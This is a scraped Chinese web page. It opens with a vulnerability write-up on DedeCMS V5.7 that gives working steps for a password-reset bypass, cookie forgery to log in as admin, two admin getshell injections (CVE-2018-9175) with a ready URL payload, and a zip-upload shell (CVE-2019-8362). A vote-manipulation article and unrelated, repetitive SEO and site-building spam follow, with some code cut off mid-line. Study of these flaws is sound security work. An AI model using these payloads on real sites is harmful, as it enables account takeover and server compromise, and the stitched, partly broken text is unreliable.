if($row['safequestion'] == $safequestion && $row['safeanswer'] == $safeanswer)
就在这里用了弱类型判断==。
首先我们知道,如果没有设置密保的话safequestion从数据库取出默认为'0',safeanswer为空。根据empty函数特性,'0'会被判断为空,会进入重新将$safequestion赋值为''。而'0' != '',所以我们需要一个输入即不使empty为空,且弱类型等于'0'的字符串。'00'、'000'、'0.0'以上这些都是可以的。
接下来safeanswer既然本来就为空,那么不输入正好也就相等了,跟踪sn函数
function sn($mid,$userid,$mailto, $send = 'Y'){ global $db; $tptim= (60*10); $dtime = time(); $sql = "SELECT * FROM #@__pwd_tmp WHERE mid = '$mid'"; $row = $db->GetOne($sql); if(!is_array($row)) { //发送新邮件; newmail($mid,$userid,$mailto,'INSERT',$send); } //10分钟后可以再次发送新验证码; elseif($dtime - $tptim > $row['mailtime']) { newmail($mid,$userid,$mailto,'UPDATE',$send); } //重新发送新的验证码确认邮件; else { return ShowMsg('对不起,请10分钟后再重新申请', 'login.php'); }}
跟踪newmail
function newmail($mid, $userid, $mailto, $type, $send){ global $db,$cfg_adminemail,$cfg_webname,$cfg_basehost,$cfg_memberurl; $mailtime = time(); $randval = random(8); $mailtitle = $cfg_webname.":密码修改"; $mailto = $mailto; $headers = "From: ".$cfg_adminemail."\r\nReply-To: $cfg_adminemail"; $mailbody = "亲爱的".$userid.":\r\n您好!感谢您使用".$cfg_webname."网。\r\n".$cfg_webname."应您的要求,重新设置密码:(注:如果您没有提出申请,请检查您的信息是否泄漏。)\r\n本次临时登陆密码为:".$randval." 请于三天内登陆下面网址确认修改。\r\n".$cfg_basehost.$cfg_memberurl."/resetpassword.php?dopost=getpasswd&id=".$mid; if($type == 'INSERT') { $key = md5($randval); $sql = "INSERT INTO `#@__pwd_tmp` (`mid` ,`membername` ,`pwd` ,`mailtime`)VALUES ('$mid', '$userid', '$key', '$mailtime');"; if($db->ExecuteNoneQuery($sql)) { if($send == 'Y') { sendmail($mailto,$mailtitle,$mailbody,$headers); return ShowMsg('EMAIL修改验证码已经发送到原来的邮箱请查收', 'login.php','','5000'); } else if ($send == 'N') { return ShowMsg('稍后跳转到修改页', $cfg_basehost.$cfg_memberurl."/resetpassword.php?dopost=getpasswd&id=".$mid."&key=".$randval); } } else { return ShowMsg('对不起修改失败,请联系管理员', 'login.php'); } }
可见在sn函数中将send参数设置了'N',其实就是生成了暂时密码并插入了数据库中,并进行跳转
else if ($send == 'N'){ return ShowMsg('稍后跳转到修改页', $cfg_basehost.$cfg_memberurl."/resetpassword.php?dopost=getpasswd&id=".$mid."&key=".$randval); }
跳转链接就是修改密码的链接了
漏洞复现
首先打开后台管理页面开启会员功能
注册一个帐号
信息的话随便填一下即可注册成功
然后进入了个人中心
进入会员中心
点击通过安全问题取回
输入用户名
拖入bp改包为payload
dopost=safequestion&id=1&userid=admin&safequestion=00&safeanswer=0&vdcode=Vs4p
进入url,修改密码
前台文件上传漏洞漏洞分析
漏洞在于用户发布文章上传图片处。处理文件在/include/dialog/select_images_post.php
而上传文件存在全局过滤/include/uploadsafe.inc.php
#/include/uploadsafe.inc.php$cfg_not_allowall = "php|pl|cgi|asp|aspx|jsp|php3|shtm|shtml";if(!empty(${$_key.'_name'}) && (preg_match("#\.(".$cfg_not_allowall.")$#i",${$_key.'_name'}) || !preg_match("#\.#", ${$_key.'_name'})) ){ if(!defined('DEDEADMIN')) { exit('Not Admin Upload filetype not allow !'); }}$imtypes = array ( "image/pjpeg", "image/jpeg", "image/gif", "image/png", "image/xpng", "image/wbmp", "image/bmp");if(in_array(strtolower(trim(${$_key.'_type'})), $imtypes)){ $image_dd = @getimagesize($$_key); if (!is_array($image_dd)) { exit('Upload filetype not allow !'); }}
可以看到名字中不得有上述字符,且限制了content-type。按道理说直接限制不得存在的字符,似乎没有问题了,可在发布文章文件上传的处理文件select_images_post.php中存在如下代码:
$imgfile_name = trim(preg_replace("#[ \r\n\t\*\%\\\/\?> 3600 || !preg_match('#,'.$uid.',#i', ','.$last_vid.',')) { if($last_vid!='') { $last_vids = explode(',',$last_vid); $i = 0; $last_vid = $uid; foreach($last_vids as $lsid) { if($i>10) { break; } else if($lsid != $uid) { $i++; $last_vid .= ','.$last_vid; } } } else { $last_vid = $uid; } PutCookie('last_vtime', $vtime, 3600*24, '/'); PutCookie('last_vid', $last_vid, 3600*24, '/');
我们可以看到当uid存在值时就会进入我们现在的代码中,当cookie中的last_vid中不存在值为空时,就会将uid值赋予过去,$last_vid = $uid;,然后PutCookie。
那么这么说,我们控制了$uid就相当于可以返回任意值经过服务器处理的md5值。
而在接下来会验证用户是否登录。
现在我们来看看,dedecms会员认证系统是怎么实现的:/include/memberlogin.class.php
//php5构造函数 function __construct($kptime = -1, $cache=FALSE) { global $dsql; if($kptime==-1){ $this->M_KeepTime = 3600 * 24 * 7; }else{ $this->M_KeepTime = $kptime; } $formcache = FALSE; $this->M_ID = $this->GetNum(GetCookie("DedeUserID")); $this->M_LoginTime = GetCookie("DedeLoginTime"); $this->fields = array(); $this->isAdmin = FALSE; if(empty($this->M_ID)) { $this->ResetUser(); }else{ $this->M_ID = intval($this->M_ID); if ($cache) { $this->fields = GetCache($this->memberCache, $this->M_ID); if( empty($this->fields) ) { $this->fields = $dsql->GetOne("Select * From `#@__member` where mid='{$this->M_ID}' "); } else { $formcache = TRUE; } } else { $this->fields = $dsql->GetOne("Select * From `#@__member` where mid='{$this->M_ID}' "); } if(is_array($this->fields)){ #api{{ if(defined('UC_API') && @include_once DEDEROOT.'/uc_client/client.php') { if($data = uc_get_user($this->fields['userid'])) { if(uc_check_avatar($data[0]) && !strstr($this->fields['face'],UC_API)) { $this->fields['face'] = UC_API.'/avatar.php?uid='.$data[0].'&size=middle'; $dsql->ExecuteNoneQuery("UPDATE `#@__member` SET `face`='".$this->fields['face']."' WHERE `mid`='{$this->M_ID}'"); } } } #/aip}} //间隔一小时更新一次用户登录时间 if(time() - $this->M_LoginTime > 3600) { $dsql->ExecuteNoneQuery("update `#@__member` set logintime='".time()."',loginip='".GetIP()."' where mid='".$this->fields['mid']."';"); PutCookie("DedeLoginTime",time(),$this->M_KeepTime); } $this->M_LoginID = $this->fields['userid']; $this->M_MbType = $this->fields['mtype']; $this->M_Money = $this->fields['money']; $this->M_UserName = FormatUsername($this->fields['uname']); $this->M_Scores = $this->fields['scores']; $this->M_Face = $this->fields['face']; $this->M_Rank = $this->fields['rank']; $this->M_Spacesta = $this->fields['spacesta']; $sql = "Select titles From #@__scores where integralfields['scores']} order by integral desc"; $scrow = $dsql->GetOne($sql); $this->fields['honor'] = $scrow['titles']; $this->M_Honor = $this->fields['honor']; if($this->fields['matt']==10) $this->isAdmin = TRUE; $this->M_UpTime = $this->fields['uptime']; $this->M_ExpTime = $this->fields['exptime']; $this->M_JoinTime = MyDate('Y-m-d',$this->fields['jointime']); if($this->M_Rank>10 && $this->M_UpTime>0){ $this->M_HasDay = $this->Judgemember(); } if( !$formcache ) { SetCache($this->memberCache, $this->M_ID, $this->fields, 1800); } }else{ $this->ResetUser(); } } }
$this->M_ID等于Cookie中的DedUserID,我们继续看看GetCookie函数
if ( ! function_exists('GetCookie')){ function GetCookie($key) { global $cfg_cookie_encode; if( !isset($_COOKIE[$key]) || !isset($_COOKIE[$key.'__ckMd5']) ) { return ''; } else { if($_COOKIE[$key.'__ckMd5']!=substr(md5($cfg_cookie_encode.$_COOKIE[$key]),0,16)) { return ''; } else { return $_COOKIE[$key]; } } }}
它不但读了cookie还验证了md5值。
这样,由于index.php中我们可以控制返回一个输入值和这个输入值经过服务器处理后的md5值。那么如果我们伪造DedUserID和它对应的MD5就行了。
最后一个问题,因为我们上面是通过用户名伪造ID的,用户名为字符串而ID为整数,但好在在构造用户类中将M_ID intval了一下$this->M_ID = intval($this->M_ID); 那么这么说,如果我们想伪造ID为1的用户的Md5,我们只要在上面设置uid(用户名)为'000001'即可。
可以看到已经获取到了,拿去当做DeDeUserID,可以看到,登陆了admin用户
Dedecms V5.7后台的两处getshell(CVE-2018-9175)漏洞成因
后台写配置文件过滤不足导致写shell
代码分析
第一个
在/dede/sys_verifies.php中的第152行处
else if ($action == 'getfiles'){ if(!isset($refiles)) { ShowMsg("你没进行任何操作!","sys_verifies.php"); exit(); } $cacheFiles = DEDEDATA.'/modifytmp.inc'; $fp = fopen($cacheFiles, 'w'); fwrite($fp, ''); fclose($fp);
可以看到,这里会将$refiles数组中的内容写入配置文件modifytmp.inc中。
dedecms对于输入是全局过滤的,在/common.inc.php中注册并过滤了外部提交的变量
function _RunMagicQuotes(&$svar){ if(!get_magic_quotes_gpc()) { if( is_array($svar) ) { foreach($svar as $_k => $_v) $svar[$_k] = _RunMagicQuotes($_v); } else { if( strlen($svar)>0 && preg_match('#^(cfg_|GLOBALS|_GET|_POST|_COOKIE|_SESSION)#',$svar) ) { exit('Request var not allow!'); } $svar = addslashes($svar); } } return $svar;}if (!defined('DEDEREQUEST')){ //检查和注册外部提交的变量 (2011.8.10 修改登录时相关过滤) function CheckRequest(&$val) { if (is_array($val)) { foreach ($val as $_k=>$_v) { if($_k == 'nvarname') continue; CheckRequest($_k); CheckRequest($val[$_k]); } } else { if( strlen($val)>0 && preg_match('#^(cfg_|GLOBALS|_GET|_POST|_COOKIE|_SESSION)#',$val) ) { exit('Request var not allow!'); } } } //var_dump($_REQUEST);exit; CheckRequest($_REQUEST); CheckRequest($_COOKIE); foreach(Array('_GET','_POST','_COOKIE') as $_request) { foreach($$_request as $_k => $_v) { if($_k == 'nvarname') ${$_k} = $_v; else ${$_k} = _RunMagicQuotes($_v); } }}
上面的$refiles就是注册的外部变量,可见已经addlashes了而我们还是需要绕过fwrite($fp, '$files['.$i.'] = "'.$filename.'";'."\r\n"); 实现注入shell,首先需要注入就必须闭合双引号,在这里有个诡异的操作
$filename = substr($filename,3,strlen($filename)-3);
去掉了输入的前三个字符,这样就为我们写shell制造了机会,当我们输入" 时经过addlashes会变成\",再去掉前三个字符就只剩下双引号实现闭合。
此时写入shell后只要再找一个包含modifytmp.inc文件的文件就好了,全局搜索一下可以发现就在本文件/dede/sys_verifies.php
第二个
同样是写配置文件,位于/dede/sys_cache_up.php
else if($step == 2){ include_once(DEDEINC."/enums.func.php"); WriteEnumsCache(); //WriteAreaCache(); 已过期 ShowMsg("成功更新枚举缓存,准备更新调用缓存...", "sys_cache_up.php?dopost=ok&step=3&uparc=$uparc"); exit();}
跟进WriteEnumsCache()
function WriteEnumsCache($egroup=''){ global $dsql; $egroups = array(); if($egroup=='') { $dsql->SetQuery("SELECT egroup FROM `#@__sys_enum` GROUP BY egroup "); } else { $dsql->SetQuery("SELECT egroup FROM `#@__sys_enum` WHERE egroup='$egroup' GROUP BY egroup "); } $dsql->Execute('enum'); while($nrow = $dsql->GetArray('enum')) { $egroups[] = $nrow['egroup']; } foreach($egroups as $egroup) { $cachefile = DEDEDATA.'/enums/'.$egroup.'.php'; $fp = fopen($cachefile,'w'); fwrite($fp,''); fclose($fp); if(empty($issign)) WriteEnumsJs($egroup); } return '成功更新所有枚举缓存!';}
可以看到,直接从数据库中读取并写入php文件中,从数据库中取出后并没有经过过滤。
将shell写进数据库中
https://192.168.10.3/DedeCMS/u ... pinfo();//&islogin=1
漏洞复现
因为包含是在同一个文件,所以直接输入
192.168.10.3/DedeCMS/Drunkmars/sys_verifies.php?action=getfiles&refiles[]=123&refiles[]=\%22;phpinfo();die();//
DedeCMS 后台文件上传getshell(CVE-2019-8362)漏洞成因
上传zip文件解压缩对于文件名过滤不周,导致getshell
代码分析
/dede/album_add.php 175行验证后缀
$fm->GetMatchFiles($tmpzipdir,"jpg|png|gif",$imgs);
进入函数:
function GetMatchFiles($indir, $fileexp, &$filearr) { $dh = dir($indir); while($filename = $dh->read()) { $truefile = $indir.'/'.$filename; if($filename == "." || $filename == "..") { continue; } else if(is_dir($truefile)) { $this->GetMatchFiles($truefile, $fileexp, $filearr); } else if(preg_match("/\.(".$fileexp.")/i",$filename)) { $filearr[] = $truefile; } } $dh->close(); }
可以确定preg_match("/\.(".$fileexp.")/i",$filename)只是判断了文件名中是否存在.jpg、.png、.gif中的一个,只要构造1.jpg.php就可以绕过
2.5.3 漏洞复现
生成一个1.php并改名为1.jpg.php
将文件压缩为1.zip
找到文件式管理器下的soft目录
将压缩文件上传
访问album_add.php
http://192.168.10.3/DedeCMS/Dr ... d.php
选择从zip包中解压图片
发布后点击预览文档
点击上传的包
即可打出phpinfo()
织梦安卓系统源码(feed源码)和ui源码下载地址
网站优化 • 优采云 发表了文章 • 0 个评论 • 63 次浏览 • 2022-06-06 03:00
织梦系统网站内容更改可以发布图片,文字和视频。现在用户阅读一个网站时,基本都是先看图片再看文字,所以图片和视频尤为重要。可以发布自己的作品。新闻图片更能增加网站的逼格。我们将围绕以上两点来对织梦网站进行设计。
一、图片素材的设计
1、图片标签任何页面一个重要页面的标签,我们需要设计图片大小以及图片格式,这些一般影响网站布局。
2、添加背景光标高光链接点、纯色背景等,设计更好的图片效果,创造更多页面视觉冲击。
二、文字设计
1、文字字体字体也可以参考图片来选择好看的字体,如:图片字体效果与个人品牌字体一致,效果更好。
2、文字链接文字加链接可以增加网站的传播度,加快访问页面的速度。
3、文字图片文字加图片可以为网站加强视觉效果,增加页面的辨识度。可以选择图片或者文字来分割页面的主体,将主体突出主要卖点。
4、文字文字文字文字可以为网站加强引导性,提升网站曝光度,增加页面的美观度。可以利用文字改造,成为不一样的页面内容风格。
这里有免费的织梦源码,
我也是做高清源码的,基于dreamweaver技术设计开发,
织梦源码不仅限于wordpress系统源码可以注册下方官网,里面有很多不错的源码,我之前做的主站就是织梦安卓系统源码(feed源码)和ui源码。完全免费的wordpress源码提供下载地址:,加群,我拉你,很多设计师程序员需要安卓系统源码,帮忙设计做一些页面,之前很多客户要源码,但是都是要付费购买的。专门为织梦安卓源码设计开发服务,目前已经有10000套源码了。希望对您有所帮助。 查看全部
织梦安卓系统源码(feed源码)和ui源码下载地址
织梦系统网站内容更改可以发布图片,文字和视频。现在用户阅读一个网站时,基本都是先看图片再看文字,所以图片和视频尤为重要。可以发布自己的作品。新闻图片更能增加网站的逼格。我们将围绕以上两点来对织梦网站进行设计。
一、图片素材的设计
1、图片标签任何页面一个重要页面的标签,我们需要设计图片大小以及图片格式,这些一般影响网站布局。
2、添加背景光标高光链接点、纯色背景等,设计更好的图片效果,创造更多页面视觉冲击。
二、文字设计
1、文字字体字体也可以参考图片来选择好看的字体,如:图片字体效果与个人品牌字体一致,效果更好。
2、文字链接文字加链接可以增加网站的传播度,加快访问页面的速度。
3、文字图片文字加图片可以为网站加强视觉效果,增加页面的辨识度。可以选择图片或者文字来分割页面的主体,将主体突出主要卖点。
4、文字文字文字文字可以为网站加强引导性,提升网站曝光度,增加页面的美观度。可以利用文字改造,成为不一样的页面内容风格。
这里有免费的织梦源码,
我也是做高清源码的,基于dreamweaver技术设计开发,
织梦源码不仅限于wordpress系统源码可以注册下方官网,里面有很多不错的源码,我之前做的主站就是织梦安卓系统源码(feed源码)和ui源码。完全免费的wordpress源码提供下载地址:,加群,我拉你,很多设计师程序员需要安卓系统源码,帮忙设计做一些页面,之前很多客户要源码,但是都是要付费购买的。专门为织梦安卓源码设计开发服务,目前已经有10000套源码了。希望对您有所帮助。
某开源投票框架无限投票漏洞
网站优化 • 优采云 发表了文章 • 0 个评论 • 91 次浏览 • 2022-06-01 15:03
织梦内容管理系统(DedeCms) 以简单、实用、开源而闻名,是国内最知名的PHP开源网站管理系统,也是使用用户最多的PHP类CMS系统,在经历多年的发展,目前的版本无论在功能,还是在易用性方面,都有了长足的发展和进步,DedeCms免费版的主要目标用户锁定在个人站长,功能更专注于个人网站或中小型门户的构建,当然也不乏有企业用户和学校等在使用本系统。
最近在看DEDE的代码的时候偶然发现DEDE有一个投票系统,然后深入的研究了一下投票系统发现这个投票系统存在一个无限投票的逻辑漏洞。使用谷歌谷歌一下这个系统发现有好多网站在使用,首先看一下这个投票系统。
在代码中找到这个系统所在的文件dedecms/plus/vote.php,看一下它的代码
这里可以看到这里分为了两种投票方式,一种是会员登陆之后投票,一种是游客状态下投票。后续发现系统默认是开启游客状态下投票的,我在网上找了一些网站,确实也是开启了游客投票。
这里我们可以看到投票的状态是在这个函数之中的,我们跟进这个函数看一下
这里我们可以看到检测投票是否成功,只是检测了一下cookie中的IP,也就是说这里我们只要更改一下ip应该就可以继续投票。我们测试一下。
这里是初始的状态 3 2 2 2 2
我们投票给第二项,这里投票成功!
这里我们再次投票
这里显示已经投过票了不允许再次投票,我们看一下此时我们浏览器中的cookie
这里我们看到有一个这样的字段,和我们在代码中的看到的检测变量一样,我们更改一下它的值。
这里我们把127.0.0.1更改为127.0.1.1,再次发起投票
可以发现只需要更改一个参数就可以无限制投票。
*本文原创作者:sjy93812,本文属于FreeBuf原创奖励计划,禁止转载
查看全部
某开源投票框架无限投票漏洞
织梦内容管理系统(DedeCms) 以简单、实用、开源而闻名,是国内最知名的PHP开源网站管理系统,也是使用用户最多的PHP类CMS系统,在经历多年的发展,目前的版本无论在功能,还是在易用性方面,都有了长足的发展和进步,DedeCms免费版的主要目标用户锁定在个人站长,功能更专注于个人网站或中小型门户的构建,当然也不乏有企业用户和学校等在使用本系统。
最近在看DEDE的代码的时候偶然发现DEDE有一个投票系统,然后深入的研究了一下投票系统发现这个投票系统存在一个无限投票的逻辑漏洞。使用谷歌谷歌一下这个系统发现有好多网站在使用,首先看一下这个投票系统。
在代码中找到这个系统所在的文件dedecms/plus/vote.php,看一下它的代码
这里可以看到这里分为了两种投票方式,一种是会员登陆之后投票,一种是游客状态下投票。后续发现系统默认是开启游客状态下投票的,我在网上找了一些网站,确实也是开启了游客投票。
这里我们可以看到投票的状态是在这个函数之中的,我们跟进这个函数看一下
这里我们可以看到检测投票是否成功,只是检测了一下cookie中的IP,也就是说这里我们只要更改一下ip应该就可以继续投票。我们测试一下。
这里是初始的状态 3 2 2 2 2
我们投票给第二项,这里投票成功!
这里我们再次投票
这里显示已经投过票了不允许再次投票,我们看一下此时我们浏览器中的cookie
这里我们看到有一个这样的字段,和我们在代码中的看到的检测变量一样,我们更改一下它的值。
这里我们把127.0.0.1更改为127.0.1.1,再次发起投票
可以发现只需要更改一个参数就可以无限制投票。
*本文原创作者:sjy93812,本文属于FreeBuf原创奖励计划,禁止转载
[开源]SAAS云建站系统,后台任意开通多个网站,各账号可独立管理
网站优化 • 优采云 发表了文章 • 0 个评论 • 105 次浏览 • 2022-05-15 03:34
方式二:放到线上,华为云服务器,花一元快速部署到线上使用
按照此网址开通账号、选配服务器,仅需要一元,就能在线上将网市场云建站系统部署起来使用,不再需要其他额外花费!
方式三:自定义部署,如部署到私有服务器、阿里云、腾讯云等
配套的软件:扒网站工具、模版计算工具
看好哪个网站,用它拔下来做成模版。所见网站,皆可为我所用!templatespider
系统二次开发当前使用的开源框架介绍
SpringBoot2.6.1、Shiro、Redis5、Mysql5.7 (必须这个版本)、ElasticSearch 7.10.1、
前端信息提示 msg.js、客服坐席 kefu.js、网站管理后台Layui
开发前的说明
采用 Java 开发,数据库提供两种,默认使用 sqlite 3 ,也可以自己配置成使用 mysql。
一定注意版本号不要错,jdk1.8、mysql要用5.7,重要的事说三遍
另外开发请用 Eclipse ,我们没用过idea,如果你用idea出现异常你可以自己百度搜索解决方式,因为有其他idea的朋友而且不少都能正常运行,但是我们没使用过idea,如果你idea出现异常我们也没法提供任何帮助。
二次开发方面,请查阅开发文档
从网市场云建站5这个版本以后,我们将网市场云建站系统的底层基础支持,比如常用工具类、权限控制等,单独进行了抽离,调整包装出了一套集成开发框架,我们称之为 wm 。也就是网市场云建站的基础操作,都是在wm文档之中的。
二次开发文档,也就是wm的基础开发文档,包含数据库操作、文件操作、日志操作、短信发送、ajax请求等最基础的功能模块,通过它,可以让一个刚毕业的软件系的大学生在一个月内快速进入开发状态,拥有项目开发能力。
当前目录结构
wangmarket 项目<br />├─src 项目源代码 ( Maven )<br />├─pom.xml 项目源代码 pom ( Maven )<br />├─else 其他的杂七杂八相关文件,一般用不到<br />│ ├─wangmarket.sql 项目运行所需要的数据库文件( Mysql数据库,默认sqlite3)<br />└─README.md 说明
进行二次开发
二次开发时,我们不建议您直接在这个项目进行改动,不然您将失去跟随我们版本升级的能力。众所周知的织梦CMS,也是因为版本不升级失去维护,而出现大家所知晓的安全缺陷。
我们建议您可以在这个项目 wangmarket_deploy 上进行扩展开发您自己想做的模块及功能、以及一些原有的功能及页面更改。比如,登陆页面的重写。
我们网市场有新版本时,您只需直接更新 WEB-INF/lib/wangmarket-xxx.jar 即可完成版本的升级
六、源码地址 查看全部
[开源]SAAS云建站系统,后台任意开通多个网站,各账号可独立管理
方式二:放到线上,华为云服务器,花一元快速部署到线上使用
按照此网址开通账号、选配服务器,仅需要一元,就能在线上将网市场云建站系统部署起来使用,不再需要其他额外花费!
方式三:自定义部署,如部署到私有服务器、阿里云、腾讯云等
配套的软件:扒网站工具、模版计算工具
看好哪个网站,用它拔下来做成模版。所见网站,皆可为我所用!templatespider
系统二次开发当前使用的开源框架介绍
SpringBoot2.6.1、Shiro、Redis5、Mysql5.7 (必须这个版本)、ElasticSearch 7.10.1、
前端信息提示 msg.js、客服坐席 kefu.js、网站管理后台Layui
开发前的说明
采用 Java 开发,数据库提供两种,默认使用 sqlite 3 ,也可以自己配置成使用 mysql。
一定注意版本号不要错,jdk1.8、mysql要用5.7,重要的事说三遍
另外开发请用 Eclipse ,我们没用过idea,如果你用idea出现异常你可以自己百度搜索解决方式,因为有其他idea的朋友而且不少都能正常运行,但是我们没使用过idea,如果你idea出现异常我们也没法提供任何帮助。
二次开发方面,请查阅开发文档
从网市场云建站5这个版本以后,我们将网市场云建站系统的底层基础支持,比如常用工具类、权限控制等,单独进行了抽离,调整包装出了一套集成开发框架,我们称之为 wm 。也就是网市场云建站的基础操作,都是在wm文档之中的。
二次开发文档,也就是wm的基础开发文档,包含数据库操作、文件操作、日志操作、短信发送、ajax请求等最基础的功能模块,通过它,可以让一个刚毕业的软件系的大学生在一个月内快速进入开发状态,拥有项目开发能力。
当前目录结构
wangmarket 项目<br />├─src 项目源代码 ( Maven )<br />├─pom.xml 项目源代码 pom ( Maven )<br />├─else 其他的杂七杂八相关文件,一般用不到<br />│ ├─wangmarket.sql 项目运行所需要的数据库文件( Mysql数据库,默认sqlite3)<br />└─README.md 说明
进行二次开发
二次开发时,我们不建议您直接在这个项目进行改动,不然您将失去跟随我们版本升级的能力。众所周知的织梦CMS,也是因为版本不升级失去维护,而出现大家所知晓的安全缺陷。
我们建议您可以在这个项目 wangmarket_deploy 上进行扩展开发您自己想做的模块及功能、以及一些原有的功能及页面更改。比如,登陆页面的重写。
我们网市场有新版本时,您只需直接更新 WEB-INF/lib/wangmarket-xxx.jar 即可完成版本的升级
六、源码地址
织梦系统网站内容更改或者服务器修改都需要做备案
网站优化 • 优采云 发表了文章 • 0 个评论 • 80 次浏览 • 2022-05-05 19:00
织梦系统网站内容更改或者服务器修改都需要做备案,企业没有备案就无法发布内容,一个网站所有的数据信息都是存放在服务器上,想要进行网站的备案修改就要进行在线备案,很多用户都不清楚在线备案是个什么东西。今天老徐为大家详细的介绍下,给大家带来有关在线备案的一些东西。
一、在线备案是什么意思在线备案是在线申请的意思。通过互联网完成实名认证,对电子域名进行在线信息申请,通过之后再次在电子邮箱进行验证,将身份信息保存保存1-2个工作日,然后就可以直接去窗口申请即可。
二、申请地址是什么地址你可以在其它地方申请,前提是确保那边是正规的,不可以有黑网址,或者是国外的,这样的话就会有需要第三方公司操作,进行网络入侵,才能进行申请,有这样的风险。我们可以在在线申请,系统自动审核,申请全程全部由系统自动完成,操作非常的简单,非常方便。
三、在线备案有什么好处
1、通过互联网完成实名认证,完善企业网络信息,申请成功之后可直接开始使用。
2、对于互联网经营者来说,没有实名制也不是很影响,因为企业有企业的信用体系,是可以承诺自己的,不受身份证影响,所以对于互联网经营者来说我们建议可以用在线信息申请,不会有什么影响。企业备案流程:进入云服务器注册;登录企业网站;在线申请;审核完成。对于以上一些细节问题,大家有什么不清楚的也可以给老徐留言。需要帮助更多的用户。 查看全部
织梦系统网站内容更改或者服务器修改都需要做备案
织梦系统网站内容更改或者服务器修改都需要做备案,企业没有备案就无法发布内容,一个网站所有的数据信息都是存放在服务器上,想要进行网站的备案修改就要进行在线备案,很多用户都不清楚在线备案是个什么东西。今天老徐为大家详细的介绍下,给大家带来有关在线备案的一些东西。
一、在线备案是什么意思在线备案是在线申请的意思。通过互联网完成实名认证,对电子域名进行在线信息申请,通过之后再次在电子邮箱进行验证,将身份信息保存保存1-2个工作日,然后就可以直接去窗口申请即可。
二、申请地址是什么地址你可以在其它地方申请,前提是确保那边是正规的,不可以有黑网址,或者是国外的,这样的话就会有需要第三方公司操作,进行网络入侵,才能进行申请,有这样的风险。我们可以在在线申请,系统自动审核,申请全程全部由系统自动完成,操作非常的简单,非常方便。
三、在线备案有什么好处
1、通过互联网完成实名认证,完善企业网络信息,申请成功之后可直接开始使用。
2、对于互联网经营者来说,没有实名制也不是很影响,因为企业有企业的信用体系,是可以承诺自己的,不受身份证影响,所以对于互联网经营者来说我们建议可以用在线信息申请,不会有什么影响。企业备案流程:进入云服务器注册;登录企业网站;在线申请;审核完成。对于以上一些细节问题,大家有什么不清楚的也可以给老徐留言。需要帮助更多的用户。
织梦系统网站内容更改需要提供“增量备案”的具体办理流程
网站优化 • 优采云 发表了文章 • 0 个评论 • 66 次浏览 • 2022-05-04 10:02
织梦系统网站内容更改需要提供“增量备案”的具体办理流程是什么样的?答:网站内容更改需要提供“增量备案”的具体办理流程如下:1.企业提供资料:企业基本信息、申请书、已备案证明文件、主体信息和系统备案状态、域名证书(以后备案除了以上资料还需要还需要提供网站的持续备案地址)2.个人提供资料:身份证、拍摄固定电话;企业提供:营业执照(新公司、营业执照或者公司需要三证合一)、如果有注册地址还需要提供有效期至少3个月以上的租赁合同(如果有房产证提供有效期至少三个月以上的租赁合同也可以)、申请书、备案申请表(之前服务器在阿里云或者万网的需要提供自有服务器的信息)、主体信息和管理员身份证。
不可以
没有注册公司的公司不要做
可以,类似于seo项目,
您好,没有注册公司的企业,或者企业并不是设在加拿大或者美国的公司都不适合做这个项目,
可以的。
正规公司做是不允许单独一个项目做涉及两个国家,除非项目很有钱,如我们。就算做也要名称+域名。如果资料不全涉及的是不同国家会告你侵权。仅仅我们才有。
对于只涉及一个国家的可以,所有做一个国家涉及两个国家,就不可以了,毕竟公司不是专业机构,没办法很专业的去制作如何审核。 查看全部
织梦系统网站内容更改需要提供“增量备案”的具体办理流程
织梦系统网站内容更改需要提供“增量备案”的具体办理流程是什么样的?答:网站内容更改需要提供“增量备案”的具体办理流程如下:1.企业提供资料:企业基本信息、申请书、已备案证明文件、主体信息和系统备案状态、域名证书(以后备案除了以上资料还需要还需要提供网站的持续备案地址)2.个人提供资料:身份证、拍摄固定电话;企业提供:营业执照(新公司、营业执照或者公司需要三证合一)、如果有注册地址还需要提供有效期至少3个月以上的租赁合同(如果有房产证提供有效期至少三个月以上的租赁合同也可以)、申请书、备案申请表(之前服务器在阿里云或者万网的需要提供自有服务器的信息)、主体信息和管理员身份证。
不可以
没有注册公司的公司不要做
可以,类似于seo项目,
您好,没有注册公司的企业,或者企业并不是设在加拿大或者美国的公司都不适合做这个项目,
可以的。
正规公司做是不允许单独一个项目做涉及两个国家,除非项目很有钱,如我们。就算做也要名称+域名。如果资料不全涉及的是不同国家会告你侵权。仅仅我们才有。
对于只涉及一个国家的可以,所有做一个国家涉及两个国家,就不可以了,毕竟公司不是专业机构,没办法很专业的去制作如何审核。
织梦系统网站内容更改( 光速SEO2022-04-17网站维护的重要性和方法 )
网站优化 • 优采云 发表了文章 • 0 个评论 • 69 次浏览 • 2022-04-19 09:19
光速SEO2022-04-17网站维护的重要性和方法
)
网站如何进行批量管理维护
光速SEO2022-04-17
网站维护,最近很多站长都问我如何批量管理维护大量网站维护。因为每个站对应不同的建站系统,每个网站的文章自动更新是一件很头疼的事。市场上很少同时支持织梦、empire、zblog、WordPress、pbootcms等各种cms批次,神马、360、搜狗推送。
构建自己的网站只是构建网站的第一步。下一个非常重要的部分是网站的维护。 网站的维护一般包括以下几个方面。
通过网站日志,我们可以知道搜索引擎什么时候访问过网站,访问过哪些网页,访问过哪些网页。这些信息对我们进一步优化和改进很重要网站。
定期或不定期更新内容,可以让我们的网站保持活力,与时俱进,不仅能吸引更多的访问者,增加流量,还能增加网站的信誉,赢得客户最大的信任。
网站维护网站内容我们可以免费使用采集工具,免费采集不用写复杂的采集规则,不用花很多钱学习正则表达式或html标签的时间,一分钟即可上手,只需输入关键词即可实现采集。然后结合伪原创,让搜索引擎认为你的网站内容基本是原创,有利于收录和网站的SEO排名。
网站维护也需要对服务器进行定期维护。我们经常遇到服务器问题、数据丢失等问题。定期备份网站不仅是对自己的责任,也是对网站忠实用户的尊重。一台性能稳定的服务器,可以让蜘蛛在访问时正常抓取你的网站内容。人们都知道,如果网站想要收录,蜘蛛是必不可少的,没有蜘蛛网站几乎不可能有收录和网站的排名@>.
网站维护的另一个非常重要的方面是网站安全性。网络安全一直是热门话题,尤其是金融、电商等网站。网络安全是重中之重。现在很多人都可以轻松窃取 网站 数据,因此 网站 安全设置起着至关重要的作用。你站起来给别人做婚纱一定很不愉快。 网站维护期间一定要做好网站的安全防护。
网站设计和用户体验真的很重要。随着时代的变化,人们对网站功能和网站设计的要求也在变化。 网站维护就是根据当前时代的要求不断优化网站。满足客户的审美要求,尽可能适应客户的使用习惯。网站结构合理,将用户感兴趣的精彩内容推荐到首页;
网站维护我们还需要对网站实时数据进行统计分析。提供网站收录查询和网站排名、蜘蛛变化权重值等多种功能查询。这提供了 SEO 中数据变化的全面视图。
